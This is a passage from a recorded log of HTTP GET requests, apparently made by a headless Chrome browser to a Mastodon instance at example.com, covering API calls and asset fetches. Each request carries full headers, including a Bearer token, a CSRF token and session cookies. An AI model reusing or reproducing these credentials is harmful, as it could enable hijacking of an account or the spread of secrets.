_mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuNTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ab37d5619a5b365ffcf114d7fcf24bac7902a1c0; _mastodon_session=GcqZiRiKd6lOhH3kv7dp3NEtsId2LwZyinAl1WgQ0mv7Xi%2F4u8mHBowJByanPqe2Kbtzx%2F6d%2ByeronZc62F4meOrDbP3YHiz9GzlNe2qtzBM0IDg4IxxHzUqh6nzBJiL9%2F9Y%2FY8fHzwkUTvlzM6%2FDeHgw8vFdLmFHbRKCUIbm3Chr49lmF24ZlBEZh4P9xDGCP%2B%2Fvz4MIjy6Ac3Jf2MVwJ6f8%2FDrOyEHaDutn4kRRpAZn0Kg6vyhoZzPZ7%2FphQXMDzCM5Y4Dhl9bCyCSXMaQjIHdXKw3KWuXriMcNGS92ahwOUXsO6ek%2B5nmYqs0imHxl1T14Ty%2Fnd8X3tnUBNSmeG%2FaZ5F7qn3Bu4%2BP4tehImlPNnJN6DzAUcpGFqHwvNZQl041qKzQ5QPr--0ABW2%2BRbHzqehg9r--VOa3dvcmH%2F3BScLpYtOSTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/defineProperty-BbfpZ9Tg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NHDhXMNPICM75H9ZB31b4JxRUxjBICoeH%2BKY0s0UBv5WPDr3pI5gDCua4%2B3qJWciKD%2Br1Hu2SNWrz5YR%2B72ea1QswBF6qnwGSg2DzJTssFaZCl3TFqizNszNtpPEES%2FIL9AP18JPY2joU8c4zP1k3KowWQbcXrzI1iRpn%2FSgGV0Z%2F%2FNZb9RnO0SWiXQy3dniX9tUbqEjPlSUqoJJPO9aLnMJXt22TDXGzPJ6eVYgERrtf%2FCiOQ1Zb%2FRSKF8eRBIIiJTwrFOW%2Bg%2Bd2sqW9YnV%2BwtKG6dRgImnig%3D%3D--N5aZsJPeWFwHpIgE--MthrYh5EWJDXUWZ7cLXnaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/time-DvUjGWVP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/copy_button-Cvmgdf-k.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTguNTM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6e66f1fdb98e5f6300a1ec7cafb829c3bbc13cf6; _mastodon_session=XOts8Os87077Dh7Jz%2B8mPUA6%2Bm8sPyBDVVkFFF1RF9xJ1SWscyMLpoeQdlW%2FyzS9XdsA5HFtMYOSEGu5Ia%2FoWnoIQf1WTrXABbRIni3%2F2twUW%2Fso68KluirGxYC6wJgtEa82GJU3K9gcTs6knfdWiqU8jthBlLD65I6DOjWa50Z%2FA8sHj5KhV9H0ytV0%2BJnCO5BNBQbrZwbOTc%2FYlXNQ%2F%2BOhrBzGLexUGO483Sj3xjZ0Ipm8jczET17r6DFlyLXFERT88DDV0UssqYxkONUWuTped2mhMqZbSgyS%2F%2FXZF7B44c8c8XRAoMo0Kv8bcA7N4LYady3JlJlOWs7xvNArXguo71Bi8rAICYPmElCyi1Pedb%2Fbj2BpBgcQRVav8cPBdeUDsVHR%2Fkp1--TdRB5p6BZ4BWFtmB--tCyX7W8EPW7l1rtdB06L0Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/bundle_column_error-TCkCl549.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/onboarding-BlDKxj5Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/volume_off-D61wX6FU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 